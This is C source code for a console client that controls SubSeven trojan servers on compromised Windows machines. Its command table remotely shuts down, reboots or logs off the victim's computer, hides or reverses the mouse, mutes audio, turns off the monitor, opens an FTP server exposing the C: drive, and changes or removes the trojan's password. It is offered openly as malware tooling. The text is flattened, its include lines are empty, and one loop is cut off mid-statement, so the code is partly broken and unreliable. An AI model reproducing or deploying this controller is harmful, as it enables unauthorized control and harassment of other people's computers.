// Known platforms source will compile: Linux, FreeBSD (tweak it) // Solaris (Some tcp/ip messing) // Please somebody tidy this up and take on the project. // Though I would like to be informed on any progress being made // and who was taking it over. // // Client will work with servers of version greater than 2.2. // Please don't take all the credit for my code...lol // // Email me at netstar@haxworx.com // http://www.haxworx.com // // Author A.R.Poole (netstar) #include #include #include #include #include #include #include #include #include #include struct simple_commands{ char alias[16]; char remote[32]; char helper[80]; }; typedef struct simple_commands simple; void read_input(simple *ptr_s, int srcfd); int get_header(int srcfd); int send_command(int srcfd); int usage(); int about(); int exitmessage(); void helper(simple *ptr_s); char command[1024]; // Keep these variables global char input[1024]; // --------------------------- char readit[1024]; char *password; int i; int main(int argc, char *argv[]) { int timeoutsock,sock,port,status; char hostname[128]; struct sockaddr_in client; struct hostent *he; fd_set set; struct timeval timeout; simple list[]={ {"shtdwn","RestartComputer 1","Shutdown the computer."}, {"powerd","RestartComputer 2","Powerdown the computer."}, {"hybern","RestartComputer 3","Place computer in hybernation."}, {"reboot","RestartComputer 4","Reboot the computer."}, {"logoff","RestartComputer 5","Log user off remote computer."}, {"rvrsmo","ReverseMouseButtons","Reverse mouses buttons."}, {"rstrmo","RestoreMouseButtons","Restore mouses buttons."}, {"hdemse","HideMouse","Hide the mouse from user."}, {"shwmse","ShowMouse","Unhide the mouse."}, {"audion","SetVolumeSettings 0 0 0","Turn audio off."}, {"audioy","SetVolumeSettings 255 255 255","Turn audio on."}, {"opncdr","SetCDROM 1","Open the cdrom drive."}, {"clscdr","SetCDROM 0","Close the cdrom drive."}, {"monino","SetMonitor 0","Turn monitor off."}, {"moniok","SetMonitor 1","Turn monitor on."}, {"enaftp","EnableFTPServer 21 1 C:\\?","Enable remote ftp server."}, {"disftp","DisableFTPServer","Disable remote ftp server."}, {"rmpass","ChangePass ","Change the servers password."}, {"rmserv","RemoveServer","Remove subseven from remote machine."}, {"gttime","GetTimeAndDate","Get current date and time."} }; if(argc < 3) { usage(); } if((he = gethostbyname(argv[1]))!=NULL) strcpy(hostname,(char *)inet_ntoa(*(struct in_addr *)he->h_addr)); else{ printf("error: hostname\n"); exit(1); } if((timeoutsock = socket(PF_INET, SOCK_STREAM, 0)) < 0) { printf("error: socket\n"); exit(1); } fcntl(timeoutsock,F_SETFL,O_NONBLOCK); port = atoi(argv[2]); memset(&password,0,sizeof(password)); password = argv[3]; client.sin_family = AF_INET; client.sin_port = htons(port); client.sin_addr.s_addr = inet_addr(hostname); bzero(&(client.sin_zero), 8); if(connect(timeoutsock, (struct sockaddr *)&client,sizeof(struct sockaddr))!=-1) { printf("\nnerror: connect\n\n"); exit(1); } timeout.tv_sec =10; timeout.tv_usec =0; FD_ZERO(&set); FD_SET(timeoutsock,&set); if(select(FD_SETSIZE,(fd_set *) 0, &set,(fd_set *) 0, &timeout)==0) { printf("\nerror: timeout\n\n"); exit(1); } close(timeoutsock); if((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) { printf("\nerror: sock\n\n"); exit(1); } if(connect(sock, (struct sockaddr *)&client,sizeof(struct sockaddr))==0) { printf("\n\nSubSeven Unix Console Client (Epsilon)\n"); printf("--------------------------------------\n"); printf("\nConnection accepted.\n"); get_header(sock); printf("Enter 'help' for help.\n\n"); do{ read_input(list,sock); send_command(sock); }while(!strstr(input,"quit")); } else printf("\nerror: connect\n\n"); //unlikely to reach here, but possible } //--------------------------------------------------------------- //--------------------------------------------------------------- int usage() { printf("\nUsage: subseven
[password]\n\n"); exit(1); } //--------------------------------------------------------------- int send_command(int srcfd) { char more[1024]; int ok =1; memset(&readit,0,sizeof(readit)); if(!strstr(input,"help")) { if(strlen(command) > 0) { sprintf(command,"%s\r\n",command); send(srcfd,command,sizeof(command),0); if(strstr(command,"RemoveServer")) { printf("\nServer removed from remote machine.\n\n"); exit(1); } recv(srcfd,readit,sizeof(readit),0); if(!strstr(readit,"[RPL]045")) { if(strstr(command,"RestartComputer 1")) { printf("\nServer shutdown successful. (shutdown)\n\n"); exit(1); } else if(strstr(command,"RestartComputer 2")) { printf("\nServer shutdown successful. (powerdown)\n\n"); exit(1); } else if(strstr(command,"RestartComputer 3")) { printf("\nServer shutdown successful. (hybernate)\n\n"); exit(1); } else if(strstr(command,"RestartComputer 4")) { printf("\nServer shutdown successful. (reboot)\n\n"); exit(1); } else if(strstr(command,"RestartComputer 5")) { printf("\nServer shutdown successful. (logoff)\n\n"); exit(1); } } if(strstr(readit,"[RPL]082")) { ok=0; } if(strstr(readit,"[RPL]045")) { printf("\nThis server does not have the correct plugin installed\n"); printf("either upload the required plugins or upgrade the server.\n\n"); ok=0; } if(ok == 1) { printf("\n%s\n",readit); } } } memset(&readit,0,sizeof(readit)); memset(&command,0,sizeof(command)); } //--------------------------------------------------------------- int get_header(int srcfd) { char header[256]; char datatosend[128]; send(srcfd,"\0",1,0); read(srcfd,header,sizeof(header)); if(strstr(header,"[RPL]002")) { memset(&header,0,sizeof(header)); sprintf(datatosend,"password %s\r\n",password); send(srcfd,datatosend,strlen(datatosend),0); read(srcfd,header,sizeof(header)); if(strstr(header,"003")) { printf("\nInvalid server password...exiting.\n\n"); exit(1); } } else if(!strstr(header,"server")) { printf("\nUnrecognised server type...exiting.\n\n"); free(password); exit(1); } free(password); printf("\n%s",header); memset(&header,0,sizeof(header)); } //--------------------------------------------------------------- void read_input(simple *ptr_s, int srcfd) { int x =0; char rstring[2056]; char newpassword[128]; printf("SubSeven> "); memset(&input,0,sizeof(input)); fgets(input,sizeof(input),stdin); for(i=0;i<21;i++) { if(strstr(input,ptr_s[i].alias)) { sprintf(command,"%s",ptr_s[i].remote); x=1; } } if(strstr(input,"quit")) { exitmessage(); x=1; } else if(strstr(input,"about")) { about(); x=1; } else if(strstr(input,"rmpass")) { if(!strstr(input,"help")) { printf("\nPassword successfully removed.\n\n"); } else if(strstr(input,"help")) { printf("\nRemove the servers password.\n\n"); } } else if(strstr(input,"matrix")) { char keybuffer[5128]; char keycommand[80]; char sendit[1024]; char ch[80]; if(!strstr(input,"help")) { memset(&ch,0,sizeof(ch)); sprintf(keycommand,"%s","StartMatrix 1 clBlack clLime www.haxworx.com\r\n"); send(srcfd,keycommand,strlen(keycommand),0); read(srcfd,keybuffer,sizeof(keybuffer)); if(!strstr(keybuffer,"045")) { printf("\nEnabling matrix style communication.\n"); printf("'stopmatrix' to stop communication.\n\n"); do{ memset(&keycommand,0,sizeof(keycommand)); memset(&keybuffer,0,sizeof(keybuffer)); memset(&sendit,0,sizeof(sendit)); memset(&ch,9,sizeof(ch)); sprintf(keycommand,"%s","GetMatrixData\r\n"); send(srcfd,keycommand,strlen(keycommand),0); read(srcfd,keybuffer,sizeof(keybuffer)); if(strlen(keybuffer) > 0) { printf("%s\n",keybuffer); } printf("Send Message :"); fgets(ch,sizeof(ch),stdin); sprintf(sendit,"AddToMatrix USER %s\r\n",ch); send(srcfd,sendit,strlen(sendit),0); }while(!strstr(ch,"stopmatrix")); strcpy(sendit,"StopMatrix\r\n"); send(srcfd,sendit,strlen(sendit),0); read(srcfd,keybuffer,0); printf("\n\n"); } else if(strstr(keybuffer,"[RPL]045")) { printf("\nThis server does not have the correct plugin installed\n"); printf("either upload the required plugins or upgrade the server.\n\n"); } } else if(strstr(input,"help")) { printf("\nEnable matrix style communication.\n\n"); } x=1; } else if(strstr(input,"lsplug")) { char sendcom[80]; int y; char readplug[1024]; if(!strstr(input,"help")) { strcpy(sendcom,"ListPlugins\r\n"); send(srcfd,sendcom,strlen(sendcom),0); read(srcfd,readplug,sizeof(readplug)); if(!strstr(readplug,"[RPL]041")) { int no; memset(&readplug,0,sizeof(readplug)); send(srcfd,"\0",1,0); read(srcfd,readplug,sizeof(readplug)); for(y =0; y < strlen(readplug);y++) { if(readplug[y] == '|') { readplug[y] = '-'; } } printf("\n"); no = strcspn(readplug,"-"); for(y=no+2;y 1) { printf("\nCommand not found, 'help' for help.\n\n"); } memset(&command,0,sizeof(command)); } } //--------------------------------------------------------------- int exitmessage() { printf("\nFor questions or comments, visit http://www.haxworx.com\n\n"); } //--------------------------------------------------------------- int about() { printf("\nSubSeven Unix Console Client (Epsilon).\n"); printf("Visit us for updates and information at http://www.haxworx.com.\n\n"); } //--------------------------------------------------------------- void helper(simple *ptr_s) { int ok=0; for(i=0;i<21;i++) { if(strstr(input,ptr_s[i].alias)) { printf("\n%s\n\n",ptr_s[i].helper); ok =1; } } if(ok ==0) { printf("\n\nSubSeven Unix Console Client (Epsilon)\n"); printf("--------------------------------------\n"); printf("\nEnter 'quit' to quit at any time.\n\n"); printf("[enaftp] [disftp] [opncdr] [clscdr] [moniok]\n"); printf("[monino] [hdemse] [shwmse] [rstrmo] [rvrsmo]\n"); printf("[audioy] [audion] [gttime] [portre] [stopre]\n"); printf("[chgdat] [chgtim] [logoff] [hybern] [powerd]\n"); printf("[shtdwn] [reboot] [getpwd] [rmpass] [rmserv]\n"); printf("[chgpwd] [matrix] [lsplug] [update] [about] \n"); printf("\nFor help on a specific command: help .\n\n"); } } //--------------------------------------------------------------- //--------------------------------------------------------------- //---------------------------------------------------------------